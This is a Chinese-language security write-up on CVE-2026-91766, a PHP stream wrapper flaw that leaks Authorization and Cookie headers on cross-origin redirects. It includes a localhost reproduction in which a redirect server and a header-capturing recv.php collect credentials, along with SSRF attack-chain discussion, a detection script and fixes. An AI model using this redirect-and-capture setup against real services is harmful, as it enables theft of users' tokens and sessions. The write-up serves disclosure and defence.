前言
很多PHP开发者习惯直接用file_get_contents拉取远程接口,顺手带上Authorization或者Cookie头部,再开启follow_location自动跟随跳转。这套写法写起来省事,线上项目里随处可见。
绝大多数人默认,跳转后的目标服务器拿不到原本发给上游服务的认证凭证。CVE-2026-91766推翻这个假设。
libcurl早在2018年就修复过完全同类漏洞,而PHP内置http流包装器直到2026年才补上这个逻辑缺陷。同样的安全坑,在不同HTTP客户端组件反复重现,这件事本身就值得深挖。
漏洞不是远程代码执行,不会直接拿下服务器权限,但它可以把API Token、会话Cookie、代理认证头送到攻击者可控服务器。在业务侧,这个漏洞的杀伤范围被严重低估。很多企业扫描器只盯着RCE、SQL注入这类高危漏洞,这类信息泄露漏洞经常被忽略。
这篇文章从底层源码逻辑出发,搭最小环境完成漏洞复现,提供批量检测脚本,给出代码审计排查方法、上线加固清单,最后对比同类库历史漏洞,讲清楚为什么这类问题反复出现。
1 漏洞基础信息
CVE编号:CVE-2026-91766
漏洞类型:跨源凭证泄露(CWE-522)
风险等级:中危
受影响版本:
- PHP 8.2.x < 8.2.34
- PHP 8.3.x < 8.3.35
- PHP 8.4.x < 8.4.26
- PHP 8.5.x < 8.5.11
修复版本:升级至上述对应补丁版本或更高。
触发组件:PHP内置http://、https://流包装器,不是curl扩展,不是Guzzle这类第三方HTTP库。
触发函数:file_get_contents()、fopen()、readfile(),只要底层调用PHP HTTP流包装器,且开启跟随重定向。
会被泄露的请求头只有三类:
Authorization:Bearer token、Basic账号密码Cookie:业务会话CookieProxy-Authorization:代理认证凭证
跳转触发条件,任意一条即可:
- 重定向到不同域名
- 同域名但端口变更
- HTTPS降级跳转至HTTP(明文传输凭证)
攻击者不需要攻陷目标业务服务器。攻击者只需要控制业务程序访问的上游服务,上游返回301/302/307/308跳转,指向攻击者自己的服务器。PHP流包装器会原样带着三个敏感头部,访问跳转地址。攻击者服务器直接接收凭证。
2 漏洞底层原理(第一性原理视角)
HTTP流包装器是PHP内核自带的网络客户端,不依赖curl扩展。stream_context_create构造请求上下文,follow_location控制是否跟随跳转,max_redirects限制跳转次数。
旧版本PHP处理跳转的逻辑,缺少Origin校验。
原始请求构造头部后,PHP把头部集合存入内存结构。每一次跟随跳转,它直接复用同一组请求头,不做过滤。它不会判断跳转目标的协议、主机、端口是否和原始请求一致。
原始请求:[https://api.trusted-domain.com](https://api.trusted-domain.com),带上Authorization: Bearer MY_SECRET_TOKEN
上游返回302,Location为[https://attacker.example.com/leak](https://attacker.example.com/leak)
PHP继续发起请求,完整复制Authorization、Cookie、Proxy-Authorization头部发送给attacker.example.com。
就算跳转从HTTPS降到HTTP,这个逻辑依旧执行。凭证会走明文网络传输,中间人也能抓包拿到。
很多人会混淆:Guzzle、curl扩展本身也出过同类漏洞,但这是PHP原生流包装器独立缺陷。如果你代码用curl扩展,不受CVE-2026-91766影响;如果你用file_get_contents+http上下文,即使服务器装了curl扩展,依旧存在风险。
补丁做的改动很简单:
每次跳转前,对比新目标URI和原始URI的三元组(协议、主机、端口)。三元组不一致,自动删除上述三个敏感请求头,再发起跳转请求。
flowchart LR A[PHP业务代码] --> B[stream_context_create 添加Authorization/Cookie头] B --> C[调用file_get_contents 请求可信上游] C --> D{上游返回302 Location=攻击者地址} D -->|漏洞版本PHP| E[保留全部敏感头部,访问攻击者服务器] D -->|已修复PHP版本| F[跨源跳转,删除Authorization/Cookie/Proxy-Authorization] E --> G[攻击者捕获凭证] F --> H[跳转请求无敏感头部,无泄露]2.1 容易踩错的认知误区
误区1:只要目标域名是HTTPS,凭证就安全。
跳转HTTPS转HTTP,漏洞版本PHP依旧携带头部,凭证明文在链路传输。
误区2:使用HTTPS请求就不会跨域泄露。
跨域判定不是看协议,看主机+端口。同域名不同端口,也会触发泄露。
误区3:Guzzle会受这个漏洞影响。
Guzzle默认使用curl扩展,这个漏洞属于PHP原生流包装器,两者底层实现完全独立。Guzzle有自己历史版本的同类漏洞(CVE-2022-31090),是另外一套问题。
误区4:allow_url_fopen=Off就不会触发漏洞。allow_url_fopen=Off禁用文件读取远程资源。如果业务代码是开启状态,风险存在;关闭则直接阻断这个利用入口。但不要把这个作为主防护手段,业务经常需要开启这个配置。
3 漏洞复现环境搭建
环境清单
- 受害端:PHP 8.2.33(受影响版本),开启allow_url_fopen=On
- 服务端A(受控上游,返回302跳转):简单PHP服务,返回302 Location指向攻击者服务器
- 攻击者服务端B:接收HTTP请求,打印全部请求头并保存日志
网络拓扑:
flowchart TB Dev[PHP业务应用<br>受害主机] --> SrvA[受控服务A<br>返回302重定向] SrvA --> Dev Dev --> SrvB[攻击者服务器<br>捕获请求头凭证]3.1 受控上游服务代码(server_a.php,返回跳转)
<?php // 受控服务器,返回302跳转至攻击者地址 $attacker_url = "[http://127.0.0.1:8081/recv.php](http://127.0.0.1:8081/recv.php)"; header("Location: {$attacker_url}", true, 302); exit;监听端口8080。访问[http://127.0.0.1:8080/server_a.php](http://127.0.0.1:8080/server_a.php),触发跳转。
3.2 攻击者接收日志脚本 recv.php
<?php $log = date("Y-m-d H:i:s") . "\n"; $log .= "===== RECEIVED REQUEST HEADERS =====\n"; foreach (getallheaders() as $k => $v) { $log .= "{$k}: {$v}\n"; } $log .= "====================================\n\n"; file_put_contents("./leak.log", $log, FILE_APPEND); echo "ok";监听8081端口,所有进来的请求头部写入leak.log。
3.3 漏洞POC代码(vuln_demo.php,业务侧代码)
<?php // 业务代码,使用file_get_contents携带认证头,开启跟随重定向 $ctx = stream_context_create([ 'http' => [ 'follow_location' => true, 'max_redirects' => 5, 'header' => [ "Authorization: Bearer MY_SECRET_API_TOKEN_123456", "Cookie: SESSIONID=ABCDEFG987654321" ] ] ]); $url = "[http://127.0.0.1:8080/server_a.php](http://127.0.0.1:8080/server_a.php)"; $resp = @file_get_contents($url, false, $ctx); echo "request finished\n";3.4 复现执行步骤
- 启动server_a.php在8080
- 启动recv.php在8081
- 执行
php vuln_demo.php - 查看leak.log,可以看到
Authorization、Cookie完整出现在攻击者收到的请求头内。
更换修复后的PHP版本,重复执行,日志中不会出现这两个头部。
注意:生产环境不会用127.0.0.1,攻击者会使用公网域名完成跳转。
4 批量检测脚本(线上扫描业务代码)
下面脚本扫描项目目录下所有PHP文件,匹配使用stream_context_create+http上下文,同时设置header携带Authorization/Cookie,并且开启follow_location的代码片段。
脚本是静态代码审计,不会执行代码,只做特征匹配,适合CI/CD流水线接入。
#!/usr/bin/env python3 # scan_cve_2026_91766.py # CVE-2026-91766 静态代码检测脚本 # 搜索:file_get_contents/fopen/readfile + stream_context_create http上下文 + follow_location + 敏感header import os import re import argparse PATTERN_FOLLOW = re.compile(r"follow_location\s*=>\s*true", re.IGNORECASE) PATTERN_AUTH_HEADER = re.compile(r'(Authorization|Cookie|Proxy-Authorization)\s*:', re.IGNORECASE) PATTERN_HTTP_CONTEXT = re.compile(r"'http'\s*=>", re.IGNORECASE) RISK_FUNC = re.compile(r"(file_get_contents|fopen|readfile)\s*\(", re.IGNORECASE) def scan_file(path): try: with open(path, 'r', encoding='utf-8', errors='ignore') as f: content = f.read() except Exception as e: return None hit_http_ctx = PATTERN_HTTP_CONTEXT.search(content) hit_follow = PATTERN_FOLLOW.search(content) hit_sensitive_header = PATTERN_AUTH_HEADER.search(content) hit_func = RISK_FUNC.search(content) if hit_http_ctx and hit_follow and hit_sensitive_header and hit_func: return { "file": path, } return None def scan_dir(root): hits = [] for rootdir, _, files in os.walk(root): for fname in files: if fname.lower().endswith(".php"): fp = os.path.join(rootdir, fname) res = scan_file(fp) if res: hits.append(res) return hits def main(): parser = argparse.ArgumentParser() parser.add_argument("target", help="项目代码根目录") args = parser.parse_args() results = scan_dir(args.target) if len(results) == 0: print("[+] 未发现匹配风险代码片段") return print(f"[!] 共发现 {len(results)} 处疑似风险代码位置:") for item in results: print(" - " + item["file"]) if __name__ == "__main__": main()运行命令:
python3 scan_cve_2026_91766.py /var/www/your_project脚本局限:
静态扫描只能匹配文本特征,存在误报。部分代码字符串拼接、动态构造header,静态脚本无法识别,需要人工审计。不能替代人工代码审查。
5 对抗式审查:攻击面拓展与旁路利用思路
很多人只看最简单的302跳转场景。对抗式审查,需要把攻击链路拉长,看真实业务中可能出现的各种入口。
5.1 业务入口1:第三方API代理转发
业务需要对接第三方开放API,后端PHP作为中转,调用第三方接口,带上业务平台的token。第三方服务商一旦被入侵,或者服务商接口本身存在可控跳转点,就可以返回302,偷取我方token。
这种场景不需要外部用户输入,属于**服务端到服务端(SS2S)**风险,很多安全测试会漏掉。
5.2 业务入口2:用户可控URL参数
业务允许用户提交URL,后端PHP用file_get_contents拉取这个URL的内容,比如网页预览、内容抓取功能。攻击者提交一个URL,该URL服务器返回302跳转至攻击者域名。后端请求携带内置凭证,直接泄露。
这是高危组合:用户可控URL + PHP流包装器 + 固定认证头。
5.3 业务入口3:HTTPS跳转HTTP降级场景
原始请求HTTPS,跳转目标是HTTP地址。漏洞版本PHP依旧转发Cookie和Authorization。数据包在公网明文传输,中间人抓包即可拿到凭证。这个场景放大危害,不只是跳转目标服务器接收凭证,链路中间人同样可以捕获。
5.4 边界场景:同主机不同端口
原始请求[https://api.example.com:443](https://api.example.com:443),跳转目标[https://api.example.com:8080](https://api.example.com:8080)。主机一致,端口变更,旧版本PHP判定跨源,依旧会转发敏感头部。很多开发者误以为同域名就是可信,忽略端口。
5.5 攻击链路限制
漏洞不会主动向外发起请求,必须业务代码主动调用file_get_contents这类函数。攻击者必须控制被业务访问的上游服务返回跳转响应。
没有用户输入的情况下,漏洞触发依赖外部第三方接口的响应控制。所以CVSS评分定为中危,不是高危。但业务一旦有用户可控URL参数,风险等级直接拉高。
6 代码层面修复写法(三种方案)
方案A:升级PHP版本(首选)
升级到修复版本。升级完成后,PHP内核自动在跨源跳转时删除三个敏感头部,原有业务代码不需要改动。
升级前务必做业务回归测试,部分业务依赖旧的头部透传行为,升级后逻辑变化会引发业务异常。需要提前评估兼容性。
方案B:代码层面关闭自动跟随重定向(推荐临时应急)
手动关闭follow_location,自己实现跳转逻辑,在跳转时自行清理敏感请求头。
不安全原始代码:
<?php $ctx = stream_context_create([ 'http' => [ 'follow_location' => true, 'header' => [ "Authorization: Bearer TOKEN", ] ] ]); $res = file_get_contents($url, false, $ctx);安全改写,关闭自动跳转,手动处理跳转:
<?php function safe_http_request(string $url, array $headers, int $max_redir = 3): array { $current_url = $url; $redir_count = 0; while ($redir_count < $max_redir) { $ctx = stream_context_create([ 'http' => [ 'follow_location' => false, 'header' => $headers, 'ignore_errors' => true ] ]); $resp = @file_get_contents($current_url, false, $ctx); $resp_header = $http_response_header ?? []; $location = null; $status_code = 200; foreach ($resp_header as $h) { if (preg_match("#HTTP/\S+ (\d+)#", $h, $m)) { $status_code = intval($m[1]); } if (stripos($h, "Location:") === 0) { $location = trim(substr($h, 9)); } } if (!in_array($status_code, [301,302,307,308]) || empty($location)) { return ["body" => $resp, "status" => $status_code]; } // 校验跳转目标,跨源则清空敏感头部 $origin_parsed = parse_url($current_url); $target_parsed = parse_url($location); $same_origin = ( ($origin_parsed['scheme'] ?? '') === ($target_parsed['scheme'] ?? '') && ($origin_parsed['host'] ?? '') === ($target_parsed['host'] ?? '') && ($origin_parsed['port'] ?? null) === ($target_parsed['port'] ?? null) ); if (!$same_origin) { // 跨源跳转,删除Authorization Cookie Proxy-Authorization $new_headers = []; foreach ($headers as $h) { $lower = strtolower($h); if (strpos($lower, "authorization:") === 0) continue; if (strpos($lower, "cookie:") === 0) continue; if (strpos($lower, "proxy-authorization:") === 0) continue; $new_headers[] = $h; } $headers = $new_headers; } $current_url = $location; $redir_count++; } return ["body" => $resp, "status" => $status_code]; } // 使用示例 $req_headers = [ "Authorization: Bearer MY_SECRET_TOKEN" ]; $ret = safe_http_request("[https://api.trusted.com](https://api.trusted.com)", $req_headers); var_dump($ret);方案C:替换底层HTTP客户端,改用curl扩展
curl在7.58.0版本修复同类漏洞,只要curl版本足够,天然规避该漏洞。新项目优先用curl或者Guzzle,减少原生流包装器的使用。
curl示例代码:
<?php $ch = curl_init("[https://api.trusted.com](https://api.trusted.com)"); $headers = [ "Authorization: Bearer MY_SECRET_TOKEN" ]; curl_setopt_array($ch, [ CURLOPT_HTTPHEADER => $headers, CURLOPT_FOLLOWLOCATION => true, CURLOPT_MAXREDIRS => 5, CURLOPT_RETURNTRANSFER => true ]); $resp = curl_exec($ch); curl_close($ch); echo $resp;注意:Guzzle旧版本存在独立的跳转凭证泄露漏洞,升级Guzzle版本到7.4.5以上。
7 生产环境安全检查清单
7.1 版本核查
- 遍历所有服务器PHP版本,核对是否落在受影响区间。
- 容器化环境检查镜像内PHP版本,很多容器镜像长期不更新。
- 多PHP共存环境(比如PHP8.1、8.2混部)逐个核对。
7.2 代码审计检查项
- 搜索所有
file_get_contents、fopen、readfile调用,确认是否使用http/https包装器。 - 查找
stream_context_createhttp上下文,是否开启follow_location。 - 检查上下文header数组内是否写入Authorization、Cookie、Proxy-Authorization。
- 识别业务是否存在用户可控URL参数,传入这些函数。
- 确认第三方API调用链路,第三方接口是否存在跳转返回。
7.3 配置项核查
allow_url_fopen:业务不需要远程读取时,直接关闭。- 上线WAF规则:监控后端出站请求,审计跨域名跳转场景。WAF很难完全拦截,仅辅助告警。
- 出站网络策略:PHP应用服务器做网络出口限制,只允许访问固定可信API域名,阻断到未知外网地址的出站请求。这个是强有效的纵深防御。
7.4 上线验证
升级PHP或者修改代码之后,必须做回归测试。构造302跳转测试用例,抓包验证跨源跳转请求不再携带敏感头部。不能仅凭静态扫描判断修复完成。
8 同类漏洞横向对比,理解这类问题的共性
CVE-2026-91766不是孤例。
libcurl在2018年CVE-2018-1000007,完全一致:跟随跳转时,跨源保留认证头部。
Guzzle CVE-2022-31090,curl handler跳转未清理Authorization头。
Node.js Axios也出现过Proxy-Authorization跳转残留泄露漏洞。
底层根源是同一个设计缺陷:HTTP客户端默认复用请求头,跳转逻辑没有做源站隔离校验。
开发者写HTTP客户端时,优先考虑功能实现,跳转复用头部最简单,性能开销最小。安全校验属于附加逻辑,很容易被遗漏。浏览器天然有同源策略限制,但是后端服务端HTTP客户端,没有浏览器同源策略保护。很多开发会下意识把浏览器安全规则套用到后端,形成错误假设。
后端服务端HTTP客户端安全,是长期被忽视的领域。SSRF、跳转凭证泄露,都属于这类风险。SSRF侧重访问内网资源,CVE-2026-91766侧重把客户端凭证送给外部攻击者,二者经常同时出现。
9 对抗式审查延伸:结合SSRF形成组合攻击
如果业务同时存在用户可控URL(SSRF入口)+ CVE-2026-91766漏洞,攻击威力叠加。
- 用户提交可控URL,指向攻击者控制的外部服务器。
- 攻击者服务器返回302跳转,目标地址可以是公网地址,也可以内网地址。
- 后端PHP发起请求,携带业务token。
两种结果:
- 跳转目标外网:token泄露给攻击者。
- 跳转目标内网地址:同时SSRF访问内网+携带业务凭证访问内网服务。
这是高危组合,代码审计优先排查这种场景。很多企业SSRF防御只拦截内网IP,忽略跳转凭证泄露。就算SSRF做内网IP阻断,依旧可以把凭证外送。
10 风险评估模型,用于给运维/产品汇报
评估漏洞影响不能只看CVSS分数,结合业务三个维度判断风险等级。
维度1:是否存在用户可控输入,控制请求URL。
- 存在用户可控URL → 高危
- 仅服务端固定调用第三方API,无用户输入 → 中危
维度2:请求携带凭证权限高低
- 高权限:平台管理员token、数据库密钥、核心业务接口凭证
- 低权限:只读API的普通访问令牌
维度3:出站网络访问控制
- 无出口限制,可以访问任意外网地址 → 风险放大
- 严格白名单,仅允许访问固定域名 → 风险降低
示例评估:
业务A:用户提交URL预览功能,后端file_get_contents携带平台只读token,服务器可访问外网 → 风险等级高。
业务B:后台定时任务调用固定第三方API,使用普通只读token,出站白名单限制仅访问该第三方域名 → 风险等级中。
11 长期开发规范,规避同类后端HTTP客户端漏洞
- 业务代码尽量减少
file_get_contents做远程HTTP请求,优先curl/Guzzle。 - 所有服务端出站HTTP请求,单独封装统一请求SDK,统一处理跳转、头部过滤,不要零散手写
stream_context。 - 认证头部最小范围生效,不要全局复用。不同第三方服务使用独立token,不要共用同一个凭证。
- CI流水线加入静态扫描,检测带follow_location和敏感header的PHP流包装调用。
- 安全测试用例增加跳转测试用例,自动化验证跨源跳转头部清理逻辑。
- 服务器出站访问使用网络策略,域名白名单,最小权限。
结尾
CVE-2026-91766再次证明,后端HTTP客户端安全长期存在盲区。浏览器同源策略深入人心,但是服务端发起HTTP请求没有这套保护。很多安全团队审计业务,重点放在前端注入、用户输入过滤,忽略后端向外请求的跳转逻辑。
这个漏洞技术门槛不高,利用条件有约束,但大量存量PHP业务都存在这个写法。代码里file_get_contents加follow_location的写法遍布各种老项目,升级PHP、封装统一HTTP客户端是最根本的解决方式。
互动问题:
- 你们项目代码审计中,是否遇到过file_get_contents出站请求携带业务Token的写法?
- 你在做SSRF测试的时候,有没有额外检查跳转带来的凭证泄露风险?